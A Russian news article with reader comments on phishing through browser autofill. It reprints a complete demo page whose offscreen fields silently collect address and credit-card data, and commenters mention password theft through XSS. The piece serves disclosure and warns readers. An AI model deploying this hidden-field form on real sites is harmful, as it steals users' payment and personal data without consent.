Давно известно, что функция автозаполнения в браузере — отличный вектор атаки. Браузер с легкостью отдает любому желающему сохраненную информацию для заполнения в форм, даже если этих форм не видно. А среди сохраненной информации в профиле автозаполнения могут быть и конфиденциальные данные. Например, домашний адрес пользователя или даже данные банковской карточки. Человек не всегда хочет делиться такой информацией, вводя просто адрес электронной почты в каком-нибудь списке рассылки. А придется поделиться, если у него браузер Chrome (в Firefox фичу обещают реализовать в ближайшее время, но пока не работает).
В браузере эта функция работает таким образом: при вводе одного из полей в большой форме профиль предлагает заполнить это поле и другие поля автоматически. Если пользователь соглашается, то поля заполняются и помечаются при этом желтым цветом.
Для большинства пользователей автозаполнение — удобная функция, которая позволяет экономить время, чтобы не заполнять вручную 10, 20 или больше полей. Мало кто из них задумывается, что передавая на сторону серверу всего лишь одно поле для автозаполнения он автоматически соглашается передать и все остальные. Но так оно и есть.
Финский веб-разработчик Вильями Куосманен (Viljami Kuosmanen) написал простую демку, которая наглядно демонстрирует, как происходит фишинг через автозаполнение.
Эта демка представляет собой простую страничку всего с двумя полями: имя и адрес электронной почты. Как обычно, вы начинаете заполнять имя, появляются варианты профилей автозаполнения — вы выбираете автозаполнение. После этого автоматически заполняются оба поля: и имя, и адрес электронной почты. Как и положено, они помечаются желтым цветом.
Далее нажимаете кнопку "Submit" — и наблюдаете весь набор данных из профиля автозаполнения, которые браузер передал удаленному хосту. Впечатляет.
Фишинг лучше всего работает в браузере Google Chrome. Там передача информации происходит совершенно незаметно для пользователя. В браузере Safari пользователь все-таки увидит, какая лишняя информация отправляется хосту. В Firefox пользователю нужно вручную нажимать правой кнопкой мыши по каждому полю, которое он хочет автоматически заполнить. Таким образом, фишинг вообще не сработает. Возможно, разработчики Firefox решили пожертвовать удобством пользователей ради дополнительной безопасности при активации профилей автозаполнения. Может быть, и зря. История показывает, что при выборе между удобством и безопасностью большинство пользователей часто выбирают удобство.
Возможно и то, что разработчики Firefox просто еще не закончили разработку такой удобной функции как профили автозаполнения, но в будущем обязательно реализуют ее по образцу Chrome.
В браузере Opera, судя по всему, профили автозаполнения передают информацию незаметно для пользователя точно так же, как и в Chrome.
Исходный код опубликован на Github, так что при желании вы можете внедрить такую демку на своем сайте. Сейчас энтузиасты вносят в код маленькие изменения, но пока что фишинговая форма выглядит следующим образом:
<!doctype html>
<html>
<head>
<title>Browser Autofill Phishing</title>
</head>
<body>
<form action="https://httpbin.org/post" method="post">
<p>
<label for="name">Name</label><br>
<input id="name" name="name" type="text" placeholder="Your Name">
</p>
<p>
<label for="email">Email</label><br>
<input id="email" name="email" type="email" placeholder="Your Email">
</p>
<p>
<input type="submit" value="Submit">
</p>
<p style="margin-left:-500px">
<input id="phone" name="phone" type="text" placeholder="Your Phone">
</p>
<p style="margin-left:-500px">
<input id="organization" name="organization" type="text" placeholder="Your Organization">
</p>
<p style="margin-left:-500px">
<input id="address" name="address" type="text" placeholder="Your Address">
</p>
<p style="margin-left:-500px">
<input id="postal" name="postal" type="text" placeholder="Your Postal Code">
</p>
<p style="margin-left:-500px">
<input id="city" name="city" type="text" placeholder="Your City">
</p>
<p style="margin-left:-500px">
<select name="country"><option value=""></option><option value="FI">Finland</option><option value="AF">Afghanistan</option><option value="AX">Aland Islands</option><option value="AL">Albania</option><option value="DZ">Algeria</option><option value="AS">American Samoa</option><option value="AD">Andorra</option><option value="AO">Angola</option><option value="AI">Anguilla</option><option value="AQ">Antarctica</option><option value="AG">Antigua & Barbuda</option><option value="AR">Argentina</option><option value="AM">Armenia</option><option value="AW">Aruba</option><option value="AC">Ascension Island</option><option value="AU">Australia</option><option value="AT">Austria</option><option value="AZ">Azerbaijan</option><option value="BS">Bahamas</option><option value="BH">Bahrain</option><option value="BD">Bangladesh</option><option value="BB">Barbados</option><option value="BY">Belarus</option><option value="BE">Belgium</option><option value="BZ">Belize</option><option value="BJ">Benin</option><option value="BM">Bermuda</option><option value="BT">Bhutan</option><option value="BO">Bolivia</option><option value="BA">Bosnia & Herzegovina</option><option value="BW">Botswana</option><option value="BV">Bouvet Island</option><option value="BR">Brazil</option><option value="IO">British Indian Ocean Territory</option><option value="VG">British Virgin Islands</option><option value="BN">Brunei</option><option value="BG">Bulgaria</option><option value="BF">Burkina Faso</option><option value="BI">Burundi</option><option value="KH">Cambodia</option><option value="CM">Cameroon</option><option value="CA">Canada</option><option value="CV">Cape Verde</option><option value="BQ">Caribbean Netherlands</option><option value="KY">Cayman Islands</option><option value="CF">Central African Republic</option><option value="TD">Chad</option><option value="CL">Chile</option><option value="CN">China</option><option value="CX">Christmas Island</option><option value="CC">Cocos [Keeling] Islands</option><option value="CO">Colombia</option><option value="KM">Comoros</option><option value="CD">Congo [DRC]</option><option value="CG">Congo [Republic]</option><option value="CK">Cook Islands</option><option value="CR">Costa Rica</option><option value="CI">Cote d’Ivoire</option><option value="HR">Croatia</option><option value="CW">Curacao</option><option value="CY">Cyprus</option><option value="CZ">Czech Republic</option><option value="DK">Denmark</option><option value="DJ">Djibouti</option><option value="DM">Dominica</option><option value="DO">Dominican Republic</option><option value="EC">Ecuador</option><option value="EG">Egypt</option><option value="SV">El Salvador</option><option value="GQ">Equatorial Guinea</option><option value="ER">Eritrea</option><option value="EE">Estonia</option><option value="ET">Ethiopia</option><option value="FK">Falkland Islands [Islas Malvinas]</option><option value="FO">Faroe Islands</option><option value="FJ">Fiji</option><option value="FI">Finland</option><option value="FR">France</option><option value="GF">French Guiana</option><option value="PF">French Polynesia</option><option value="TF">French Southern Territories</option><option value="GA">Gabon</option><option value="GM">Gambia</option><option value="GE">Georgia</option><option value="DE">Germany</option><option value="GH">Ghana</option><option value="GI">Gibraltar</option><option value="GR">Greece</option><option value="GL">Greenland</option><option value="GD">Grenada</option><option value="GP">Guadeloupe</option><option value="GU">Guam</option><option value="GT">Guatemala</option><option value="GG">Guernsey</option><option value="GN">Guinea</option><option value="GW">Guinea-Bissau</option><option value="GY">Guyana</option><option value="HT">Haiti</option><option value="HM">Heard & McDonald Islands</option><option value="HN">Honduras</option><option value="HK">Hong Kong</option><option value="HU">Hungary</option><option value="IS">Iceland</option><option value="IN">India</option><option value="ID">Indonesia</option><option value="IR">Iran</option><option value="IQ">Iraq</option><option value="IE">Ireland</option><option value="IM">Isle of Man</option><option value="IL">Israel</option><option value="IT">Italy</option><option value="JM">Jamaica</option><option value="JP">Japan</option><option value="JE">Jersey</option><option value="JO">Jordan</option><option value="KZ">Kazakhstan</option><option value="KE">Kenya</option><option value="KI">Kiribati</option><option value="XK">Kosovo</option><option value="KW">Kuwait</option><option value="KG">Kyrgyzstan</option><option value="LA">Laos</option><option value="LV">Latvia</option><option value="LB">Lebanon</option><option value="LS">Lesotho</option><option value="LR">Liberia</option><option value="LY">Libya</option><option value="LI">Liechtenstein</option><option value="LT">Lithuania</option><option value="LU">Luxembourg</option><option value="MO">Macau</option><option value="MK">Macedonia [FYROM]</option><option value="MG">Madagascar</option><option value="MW">Malawi</option><option value="MY">Malaysia</option><option value="MV">Maldives</option><option value="ML">Mali</option><option value="MT">Malta</option><option value="MH">Marshall Islands</option><option value="MQ">Martinique</option><option value="MR">Mauritania</option><option value="MU">Mauritius</option><option value="YT">Mayotte</option><option value="MX">Mexico</option><option value="FM">Micronesia</option><option value="MD">Moldova</option><option value="MC">Monaco</option><option value="MN">Mongolia</option><option value="ME">Montenegro</option><option value="MS">Montserrat</option><option value="MA">Morocco</option><option value="MZ">Mozambique</option><option value="MM">Myanmar [Burma]</option><option value="NA">Namibia</option><option value="NR">Nauru</option><option value="NP">Nepal</option><option value="NL">Netherlands</option><option value="NC">New Caledonia</option><option value="NZ">New Zealand</option><option value="NI">Nicaragua</option><option value="NE">Niger</option><option value="NG">Nigeria</option><option value="NU">Niue</option><option value="NF">Norfolk Island</option><option value="MP">Northern Mariana Islands</option><option value="NO">Norway</option><option value="OM">Oman</option><option value="PK">Pakistan</option><option value="PW">Palau</option><option value="PS">Palestine</option><option value="PA">Panama</option><option value="PG">Papua New Guinea</option><option value="PY">Paraguay</option><option value="PE">Peru</option><option value="PH">Philippines</option><option value="PN">Pitcairn Islands</option><option value="PL">Poland</option><option value="PT">Portugal</option><option value="PR">Puerto Rico</option><option value="QA">Qatar</option><option value="RE">Reunion</option><option value="RO">Romania</option><option value="RU">Russia</option><option value="RW">Rwanda</option><option value="WS">Samoa</option><option value="SM">San Marino</option><option value="ST">Sao Tome & Principe</option><option value="SA">Saudi Arabia</option><option value="SN">Senegal</option><option value="RS">Serbia</option><option value="SC">Seychelles</option><option value="SL">Sierra Leone</option><option value="SG">Singapore</option><option value="SX">Sint Maarten</option><option value="SK">Slovakia</option><option value="SI">Slovenia</option><option value="SB">Solomon Islands</option><option value="SO">Somalia</option><option value="ZA">South Africa</option><option value="GS">South Georgia & South Sandwich Islands</option><option value="KR">South Korea</option><option value="SS">South Sudan</option><option value="ES">Spain</option><option value="LK">Sri Lanka</option><option value="BL">St. Barthelemy</option><option value="SH">St. Helena</option><option value="KN">St. Kitts & Nevis</option><option value="LC">St. Lucia</option><option value="MF">St. Martin</option><option value="PM">St. Pierre & Miquelon</option><option value="VC">St. Vincent & Grenadines</option><option value="SR">Suriname</option><option value="SJ">Svalbard & Jan Mayen</option><option value="SZ">Swaziland</option><option value="SE">Sweden</option><option value="CH">Switzerland</option><option value="TW">Taiwan</option><option value="TJ">Tajikistan</option><option value="TZ">Tanzania</option><option value="TH">Thailand</option><option value="TL">Timor-Leste</option><option value="TG">Togo</option><option value="TK">Tokelau</option><option value="TO">Tonga</option><option value="TT">Trinidad & Tobago</option><option value="TA">Tristan da Cunha</option><option value="TN">Tunisia</option><option value="TR">Turkey</option><option value="TM">Turkmenistan</option><option value="TC">Turks & Caicos Islands</option><option value="TV">Tuvalu</option><option value="UM">U.S. Outlying Islands</option><option value="VI">U.S. Virgin Islands</option><option value="UG">Uganda</option><option value="UA">Ukraine</option><option value="AE">United Arab Emirates</option><option value="GB">United Kingdom</option><option value="US">United States</option><option value="UY">Uruguay</option><option value="UZ">Uzbekistan</option><option value="VU">Vanuatu</option><option value="VA">Vatican City</option><option value="VE">Venezuela</option><option value="VN">Vietnam</option><option value="WF">Wallis & Futuna</option><option value="EH">Western Sahara</option><option value="YE">Yemen</option><option value="ZM">Zambia</option><option value="ZW">Zimbabwe</option></select>
</p>
<p style="margin-left:-500px">
<input type="text" name="cc_number">
</p>
<p style="margin-left:-500px">
<select name="cc_month" id="cc_month"> <option value="01">01</option><option value="02">02</option><option value="03">03</option><option value="04">04</option><option value="05">05</option><option value="06">06</option><option value="07">07</option><option value="08">08</option><option value="09">09</option><option value="10">10</option><option value="11">11</option><option value="12">12</option></select>
<select name="cc_year" id="cc_year"> <option>2017</option><option>2018</option><option>2019</option><option>2020</option><option>2021</option><option>2022</option><option>2023</option><option>2024</option><option>2025</option><option>2026</option><option>2027</option><option>2028</option><option>2029</option><option>2030</option><option>2031</option><option>2032</option></select>
</p>
<p style="margin-left:-500px">
<input type="text" id="cc_cvv" name="cc_cvv">
</p>
</form>
<script type="text/javascript">
function onchangehandler(event) {
// Print out its value. Could be a web request without users' knowledge.
console.log(event.target.name + ": " + event.target.value);
}
// Apply 'input' event to every input element
document.querySelectorAll('input').forEach(function(input) { input.addEventListener('input', onchangehandler); } );
</script>
</body>
</html>
Из исходного кода страницы
index.html
сразу понятно, что на ней спрятаны еще с десяток полей для ввода данных, но все они отформатированы с атрибутом "margin-left:-500px": там телефон, место работы, адрес, почтовый индекс, город, страна, месяц и год окончания действия кредитной карты, номер кредитной карты.Пользователь их не видит из-за "margin-left:-500px", а браузер спокойно заполняет каждое поле — и передает данные.
Как несложно понять, такую атаку легко провести, чтобы узнать номер кредитной карточки пользователя Chrome и другие данные о нем, если только он активирует функцию автозаполнения на вашей странице.
Возможно, атака работает не только в Chrome, но и в других браузерах на его кодовой базе. Например, в «Яндекс.Браузере». Этот браузер раньше вообще сливал кому угодно данные для синхронизации через простой CSRF-баг. Там не только информация для автозаполнения форм, но и пароли, закладки, история браузера и т.д. По сравнению с тем багом фишинг через автозаполнение в Chrome — это так, детская шалость. Уязвимость была устранена только в мае 2016 года.
Вообще, специалисты давно предупреждали об опасности использования профилей автозаполнения. Предупреждения прозвучали буквально сразу после того как эта функция появилась в браузере Chrome в 2013 году. С тех пор разработчики браузера так и не сумели реализовать грамотную защиту от автозаполнения скрытых полей.
Кстати, похожий трюк с заполнением невидимых форм давно используется для выявления ботов. Нормальные пользователи не заполняют поля, смещенные за пределы видимой области экрана, а боты — заполняют. Финский программист Вильями Куосманен просто применил тот же не трюк, но не против ботов, а против людей.
Чтобы уберечься от передачи нежелательных данных, достаточно просто отключить профили автозаполнения в браузере (функция включена по умолчанию).
Комментарии (17)
xxvy
10.01.2017 04:16+6Оказывается всё это время меня оберегали мои «странные привычки» — не сохранять пароли, не использовать автозаполнение, вбивать поисковый запрос только в окне поисковика, а не строке адреса браузера, ну и конечно же использование приватного режима браузера и автоматически вытряхаемой песочницы после браузера.
А я всё гадал — как люди находят «приключения» в интернете?olgerdovich
10.01.2017 06:22+1сам имел привычку вбивать поиск в поле поиска, а не в адресной строки, но в последнее время сломался, т.к визуально они стали вести себя как одно и то же, во всякм случае, в Хроме без изменения дефолтных настроек в этом вопросе (если они вообще есть).
между этим полями фактическое различие еще какое-то есть?GregoryOutEast
10.01.2017 08:29+3А что произойдет, если ввести запрос в адресной строке?
xxvy
10.01.2017 09:35-11. браузер решит проявить «интеллект» и тут же кинется искать чем бы дополнить то, что я набираю. тормозя при этом. (не у всех быстрый инет с core i7)
2. если я набираю адрес и такого адреса не существует, браузер потратит моё время загружая страницу результатов поиска, хотя мне достаточно было бы 404
3. ищет он, при этом, своим преднастроенным поисковиком, а не тем, которым я хочу в данный момент.
4. я не уверен, что мой запрос при передаче шифруется. Браузер нигде про это не говорит и вообще может зависеть от браузера (если я ищу не через адресную строку, а открываю https страничку поисковика, то я хотя бы вижу зелёный замочек)
olgerdovich
10.01.2017 06:39-1История показывает, что при выборе между удобством и безопасностью большинство пользователей часто выбирают удобство.
незамедлительно напомнило
Те, кто готовы пожертвовать насущной свободой ради малой толики временной безопасности, не достойны ни свободы, ни безопасности
только, что забавно, с заменами «удобство» (в посте) на «безопасность» (у Франклина) и «безопасность» на «свободу».
несмотря на кажущуюся смысловую противоречивость, замена естественна по контексту противопоставления.ComodoHacker
10.01.2017 14:04+2«Не Волгу, а Запорожец, не в Спортлото, а в карты, и не выиграл, а проиграл.» А так все верно.
olgerdovich
10.01.2017 19:02ваш сарказм ясен, жаль, что неясна оказалась моя мысль, что дало повод для (неуместного, как я думаю) сарказма.
Вы как-то предпочли докопаться до буквального прочтения, пренебрегая общей формой достаточно общего утверждения. Не учтя, что понятие «безопасность» может играть, в самом деле, противоположные роли.
Общая форма: если ради сиюминутного интереса пренебрегать основополагающим принципом, на котором, в частности, зиждется и обеспечение сиюминутного интереса, то успеха не достичь ни в том, ни в другом.
У Франклина безопасность имеется в виду в том смысле, в каком буква «Б» входит в аббревиатуры КГБ и ФСБ, и поэтому она противопоставляется свободе, базовой личностной ценности. Эту мысль надо развернуть?
В современном интернете, напротив, свобода и безопасность по одну сторону разграничения добра и зла, потому как и то, и другое есть базовая личностная ценность. А вот комфорт пользователя, обеспечение которого разработчиками относится к этим понятиям так же, как обеспечение государством безопасности граждан относится к их личной свободе, оказывается как раз тем сиюминутным интересом, в погоне за которым можно лишиться и его, и безопасности.
Разумеется, вовсе не следует считать, что IT-безопасное обязательно должно быть неудобным (точно так же, как безопасное общество не обязательно должно быть тоталитарным), просто не надо забывать об иерархии ценностей.
FinOne
13.01.2017 11:10Вы как то очень странно расставляете ценности. Для вас государственная безопасность в виде КГБ и ФСБ стоит по ту сторону добра. (замечу еще раз это только у вас такое виденье добра и зла) Интересно а Интерпол, FBI, ANB, Массад, ЦРУ, туда то же входят или кому как повезло в ваших ценностях. Кто то да а кто то все еще с нами по эту сторону забора?
Конечно то что добро и зло, это очень субъективные критерии вы наверное знаете, но да ладно не о том сейчас.
Хочу вам сказать, что человечество всю свою историю всегда развивалось в пользу удобства. (кстати мне допустим идея ФаирФокс где надо нажимать на каждую строку что бы автозаполнить ее, больше кажется удобной)
Именно удобство пользования является тем критерием который определяет ход развития. Не безопасность, не экономичность, не эффектность. А именно удобство. Конечно если вы возьмете историю с фордом и его моделью Т, которая возможно не была самой удобной. Но это к такому роду выбора не относится, так как он сделал самый удобный способ производить машины. Как для себя, так и для своих рабочих, которые стали зарабатывать в разы больше своих коллег. И если брать все остальные аналоговые моменты развития, то всегда в преимущество люди ставят удобство при прочих более менее равных условиях.
coolTex
10.01.2017 08:27А про FIPS не слышали?.. явно — нет)))… кто-то лез на какатус, кололся, но все одно лез)))
strannik7j
10.01.2017 08:27А можно подробнее и по-русски про ошибку в яндекс.браузере?
selivanov_pavel
10.01.2017 15:52+3https://www.netsparker.com/blog/web-security/csrf-vulnerability-yandex-browser/
При помощи CSRF можно было засабмитить форму на https://browser.yandex.com.tr/sync/, залогинившись там аккаунтом атакующего. После этого браузер автоматически начинал синхронизироваться с этим аккаунтом: запомненные пароли, закладки и т. д.
Хроника:
- 17 декабря 2015: уязвимость заявлена через программу Yandex Bug Bounty
- 15th January 2016: Реакции от Яндекса по-прежнему не наблюдалось, вышли напрямую на контакт с одним из инженеров Яндекса через твиттер. Оказалось, что при репорте был автоматически создан аккаунт в почте Яндекса, и в этом аккаунте лежало письмо от 22 декабря 2015, в котором инженер Яндекса отвечал, что не смог воспроизвести проблему
- 8 февраля 2016: послали Proof-of-Concept видео
- 15 февраля 2016: продолжаются попытки связаться с Яндексом
- 2 марта 2016: Яндекс ответил, что проблема подтвержилась и они над ней работают
- 7 марта 2016: пробовали связаться и уточнить статус проблемы
- 16 марта 2016: пробовали связаться и уточнить статус проблемы
- 29 марта 2016: пробовали связаться и уточнить статус проблемы
- 12 апреля 2016: Яндекс ответил, что они всё ещё работают над проблемой
- К середине мая заметили, что проблема исправлена, хотя Яндекс так и не связался с авторами
Кастую в комментарии bobuk или ещё кого-нибудь из Яндекса
BarakAdama
10.01.2017 16:39Пожалуй, тут объясняться буду я (как автор постов про Браузер на Хабре). Мы запустили открытую программу Bug Bounty на рубеже 2015 и 2016 гг. Процессы были еще не отлажены, поэтому случился очень неприятный технический баг, и данный репорт просто оказался вне поля зрения ответственных. Деньги в итоге выплатили. Стыдно, конечно, из-за такого, но мы сделали выводы. В этом году даже вступили в программу CVE (это единственный местный продукт, который там участвует): https://xakep.ru/2016/11/01/yandex-cve/
herr_kaizer
10.01.2017 08:49+1Какой невероятно актуальный пост. Про что дальше расскажете, про XSS и клоны сайтов с похожими адресами?
demimurych
Этой атаке сто лет в обед.
Таким образом часто крадут пароли в случае наличия активных xss. Динамически добавляют форму ввода логин-пароль аналогичной той что используется на сайте, куда в случае, если пользователь нажимал кнопку при авторизации сохранить пароль, браузер заботливо кладет логин-пароль в открытом виде. Который легко передается в логи злоумышленнику.
Sejta
А если использовать KeePass или LastPass это безопаснее будет?